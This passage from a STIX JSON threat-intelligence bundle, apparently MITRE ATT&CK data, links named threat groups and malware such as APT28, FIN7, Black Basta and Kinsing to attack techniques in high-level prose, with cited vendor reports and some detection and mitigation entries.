J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-21T16:56:20.633Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has attempted to transfer [USBferry](https://attack.mitre.org/software/S0452) from an infected USB device by copying an Autorun function to the target machine.(Citation: TrendMicro Tropic Trooper May 2020)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fdedfad5-5cb7-436a-8522-6df3f6de42b1","created":"2019-05-24T17:57:36.683Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SecureList Silence Nov 2017","description":"GReAT. (2017, November 1). Silence – a new Trojan attacking financial organizations. Retrieved May 24, 2019.","url":"https://securelist.com/the-silence/83009/"},{"source_name":"Group IB Silence Sept 2018","description":"Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.","url":"https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T14:30:32.226Z","description":"[Silence](https://attack.mitre.org/groups/G0091) has leveraged the Windows API, including using CreateProcess() or ShellExecute(), to perform a variety of tasks.(Citation: SecureList Silence Nov 2017)(Citation: Group IB Silence Sept 2018)","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fdf161e2-46dc-41ee-bec4-9b18c8b1e6d9","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2019-09-09T19:12:32.900Z","description":"(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"malware--49abab73-3c5c-476e-afd5-69b5c732d845","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fdf3767f-49ad-43f3-943c-486099ffa3a8","created":"2021-04-06T12:22:23.718Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sysdig Kinsing November 2020","description":"Huang, K. (2020, November 23). Zoom into Kinsing. Retrieved April 1, 2021.","url":"https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/"},{"source_name":"Aqua Kinsing April 2020","description":"Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021.","url":"https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:06:15.239Z","description":"[Kinsing](https://attack.mitre.org/software/S0599) has created and run a Bitcoin cryptocurrency miner.(Citation: Aqua Kinsing April 2020)(Citation: Sysdig Kinsing November 2020)","relationship_type":"uses","source_ref":"malware--d6e55656-e43f-411f-a7af-45df650471c5","target_ref":"attack-pattern--a718a0c8-5768-41a1-9958-a1cc3f995e99","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fdf56c06-8e42-4cb5-b6e0-a7ec55355ff6","created":"2019-09-13T13:17:26.294Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Machete July 2019","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf"},{"source_name":"Cylance Machete Mar 2017","description":"The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.","url":"https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T04:53:22.715Z","description":"[Machete](https://attack.mitre.org/software/S0409) has used pyobfuscate, zlib compression, and base64 encoding for obfuscation. [Machete](https://attack.mitre.org/groups/G0095) has also used some visual obfuscation techniques by naming variables as combinations of letters to hinder analysis.(Citation: Cylance Machete Mar 2017)(Citation: ESET Machete July 2019)","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--fdf7070e-6d39-4243-a61e-84877a97dcd2","created":"2022-04-28T16:07:48.006Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.","modified":"2022-04-28T16:07:48.006Z","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fdf8d947-f896-4797-9c6f-00b211a602a6","type":"relationship","created":"2020-11-24T21:30:08.802Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity Ocean Lotus November 2020","url":"https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/","description":"Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."}],"modified":"2020-11-24T21:39:14.739Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has used Dropbox, Amazon S3, and Google Drive to host malicious downloads.(Citation: Volexity Ocean Lotus November 2020)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fdf9f632-03ce-4e8c-88bf-3798bb7f5ef4","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Felismus Mar 2017","description":"Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.","url":"https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"}],"modified":"2020-03-20T17:12:32.374Z","description":"[Felismus](https://attack.mitre.org/software/S0171) uses command line for execution.(Citation: Forcepoint Felismus Mar 2017)","relationship_type":"uses","source_ref":"malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe028d0f-b02e-4856-8593-c71a07b9519b","type":"relationship","created":"2021-07-27T13:30:20.904Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-08-31T17:00:17.990Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has mapped network drives using [Net](https://attack.mitre.org/software/S0039) and administrator credentials.(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe061ca4-3182-49b7-a70c-96c58e19d9bc","type":"relationship","created":"2020-02-11T18:46:56.347Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T18:46:56.347Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fe0c8388-46fb-4064-9837-56a23339ffaa","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Palo Alto menuPass Feb 2017","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/"},{"source_name":"JPCERT ChChes Feb 2017","description":"Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.","url":"http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html"},{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.653Z","description":"[ChChes](https://attack.mitre.org/software/S0144) samples were digitally signed with a certificate originally used by Hacking Team that was later leaked and subsequently revoked.(Citation: Palo Alto menuPass Feb 2017)(Citation: JPCERT ChChes Feb 2017)(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fe18ff64-8ea8-4e21-97b5-5c46a57a39d9","created":"2023-03-08T20:58:32.748Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cyble Black Basta May 2022","description":"Cyble. (2022, May 6). New ransomware variant targeting high-value organizations. Retrieved March 7, 2023.","url":"https://blog.cyble.com/2022/05/06/black-basta-ransomware/"},{"source_name":"Trend Micro Black Basta May 2022","description":"Gonzalez, I., Chavez I., et al. (2022, May 9). Examining the Black Basta Ransomware’s Infection Routine. Retrieved March 7, 2023.","url":"https://www.trendmicro.com/en_us/research/22/e/examining-the-black-basta-ransomwares-infection-routine.html"},{"source_name":"Minerva Labs Black Basta May 2022","description":"Zargarov, N. (2022, May 2). New Black Basta Ransomware Hijacks Windows Fax Service. Retrieved March 7, 2023.","url":"https://minerva-labs.com/blog/new-black-basta-ransomware-hijacks-windows-fax-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-10T18:34:09.670Z","description":"[Black Basta](https://attack.mitre.org/software/S1070) has established persistence by creating a new service named `FAX` after deleting the legitimate service by the same name.(Citation: Minerva Labs Black Basta May 2022)(Citation: Cyble Black Basta May 2022)(Citation: Trend Micro Black Basta May 2022)","relationship_type":"uses","source_ref":"malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe1c5e06-ea4b-4286-af2d-984a095f7924","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TYPEFRAME June 2018","description":"US-CERT. (2018, June 14). MAR-10135536-12 – North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"}],"modified":"2020-03-17T13:49:31.232Z","description":"[TYPEFRAME](https://attack.mitre.org/software/S0263) can search directories for files on the victim’s machine.(Citation: US-CERT TYPEFRAME June 2018)","relationship_type":"uses","source_ref":"malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fe1cd6bf-abca-4032-8c94-15168005e96d","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-23T21:24:09.270Z","description":"Monitor for an attempt by a user to gain access to a network or computing resource, often by the use of domain authentication services, such as the System Security Services Daemon (sssd) on Linux.\n\nNotes: For Linux, auditing frameworks such as the audit daemon (auditd) can be used to alert on changes to log files that track authentication attempts, including /var/log/secure.","relationship_type":"detects","source_ref":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","target_ref":"attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fe213f16-3667-4c29-8434-cea26be64f31","created":"2023-03-10T15:37:42.797Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-10T15:37:42.797Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. ","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--d21bb61f-08ad-4dc1-b001-81ca6cb79954","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe229513-0cd9-4e9a-a333-2748ef03dfbc","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit USBStealer 2014","description":"Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.","url":"http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"},{"source_name":"Kaspersky Sofacy","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.","url":"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"}],"modified":"2020-03-17T15:12:43.303Z","description":"[USBStealer](https://attack.mitre.org/software/S0136) collects files matching certain criteria from the victim and stores them in a local directory for later exfiltration.(Citation: ESET Sednit USBStealer 2014)(Citation: Kaspersky Sofacy)","relationship_type":"uses","source_ref":"malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fe26276a-d93c-400b-8907-1fcc9415ee38","created":"2023-01-24T20:43:38.347Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Costa AvosLocker May 2022","description":"Costa, F. (2022, May 1). RaaS AvosLocker Incident Response Analysis. Retrieved January 11, 2023.","url":"https://www.linkedin.com/pulse/raas-avoslocker-incident-response-analysis-fl%C3%A1vio-costa?trk=articles_directory"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-14T17:17:00.032Z","description":"During [C0018](https://attack.mitre.org/campaigns/C0018), the threat actors used `rundll32` to run [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: Costa AvosLocker May 2022)","relationship_type":"uses","source_ref":"campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe2aa2b2-6508-40e1-b0cf-13c66ae43064","type":"relationship","created":"2019-05-14T16:58:13.912Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf","source_name":"Kaspersky StoneDrill 2017"}],"modified":"2019-06-07T20:52:37.118Z","description":"[StoneDrill](https://attack.mitre.org/software/S0380) has a disk wiper module that targets files other than those in the Windows directory.(Citation: Kaspersky StoneDrill 2017)","relationship_type":"uses","source_ref":"malware--8dbadf80-468c-4a62-b817-4e4d8b606887","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe2eb5b7-7ae1-4df1-a49e-ad13f50510e8","type":"relationship","created":"2020-09-23T16:08:44.324Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:07:59.616Z","description":"[PolyglotDuke](https://attack.mitre.org/software/S0518) can use a custom algorithm to decrypt strings used by the malware.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--3d57dcc4-be99-4613-9482-d5218f5ec13e","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe3872cb-5e08-4a04-9162-a6868ef95952","type":"relationship","created":"2021-09-23T12:51:15.540Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Carbon Spider August 2021","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."}],"modified":"2021-09-23T12:51:15.540Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has exploited ZeroLogon (CVE-2020-1472) against vulnerable domain controllers.(Citation: CrowdStrike Carbon Spider August 2021)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe3b8cb8-8ff1-4abf-ac98-ce31108e5bb5","type":"relationship","created":"2020-05-08T20:55:28.723Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Cloud Atlas August 2019","url":"https://securelist.com/recent-cloud-atlas-activity/92016/","description":"GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."}],"modified":"2020-05-12T12:46:57.152Z","description":"[VBShower](https://attack.mitre.org/software/S0442) has the ability to download VBS files to the target computer.(Citation: Kaspersky Cloud Atlas August 2019)","relationship_type":"uses","source_ref":"malware--8caa18af-4758-4fd3-9600-e8af579e89ed","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fe3bcb4a-bb14-4068-a9d3-be2f68137f51","created":"2023-03-02T18:43:56.317Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sophos BlackCat Jul 2022","description":"Brandt, Andrew. (2022, July 14). BlackCat ransomware attacks not merely a byproduct of bad luck. Retrieved December 20, 2022.","url":"https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/"},{"source_name":"Microsoft BlackCat Jun 2022","description":"Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.","url":"https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T20:59:32.756Z","description":"[BlackCat](https://attack.mitre.org/software/S1068) has the ability modify access tokens.(Citation: Microsoft BlackCat Jun 2022)(Citation: Sophos BlackCat Jul 2022)","relationship_type":"uses","source_ref":"malware--50c44c34-3abb-48ae-9433-a2337de5b0bc","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe3c4134-ddef-45f8-b83a-6865a01b9764","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Regin","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"}],"modified":"2020-06-29T01:54:53.342Z","description":"[Regin](https://attack.mitre.org/software/S0019) appears to have functionality to modify remote Registry information.(Citation: Kaspersky Regin)","relationship_type":"uses","source_ref":"malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe3cefac-f51b-4bac-b6e1-c4bba1f090a8","type":"relationship","created":"2021-09-22T15:09:20.298Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Carbon Spider August 2021","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."}],"modified":"2021-09-22T15:09:20.298Z","description":"[JSS Loader](https://attack.mitre.org/software/S0648) has the ability to download and execute PowerShell scripts.(Citation: CrowdStrike Carbon Spider August 2021)","relationship_type":"uses","source_ref":"malware--f559f945-eb8b-48b1-904c-68568deebed3","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fe42b5e6-06dd-4b08-8ef8-31323f8190d2","created":"2021-05-28T14:56:24.055Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft PowerShell CLM","description":"PowerShell Team. (2017, November 2). PowerShell Constrained Language Mode. Retrieved March 27, 2023.","url":"https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-27T17:01:11.404Z","description":"Use application control where appropriate. PowerShell Constrained Language mode can be used to restrict access to sensitive or otherwise dangerous language elements such as those used to execute arbitrary Windows APIs or files (e.g., `Add-Type`).(Citation: Microsoft PowerShell CLM)","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe445c04-05c2-4370-b00c-3821dac9c1ae","type":"relationship","created":"2020-02-27T18:00:08.514Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://adsecurity.org/?p=2293","description":"Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.","source_name":"AdSecurity Cracking Kerberos Dec 2015"}],"modified":"2020-03-25T21:46:46.969Z","description":"Enable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible.(Citation: AdSecurity Cracking Kerberos Dec 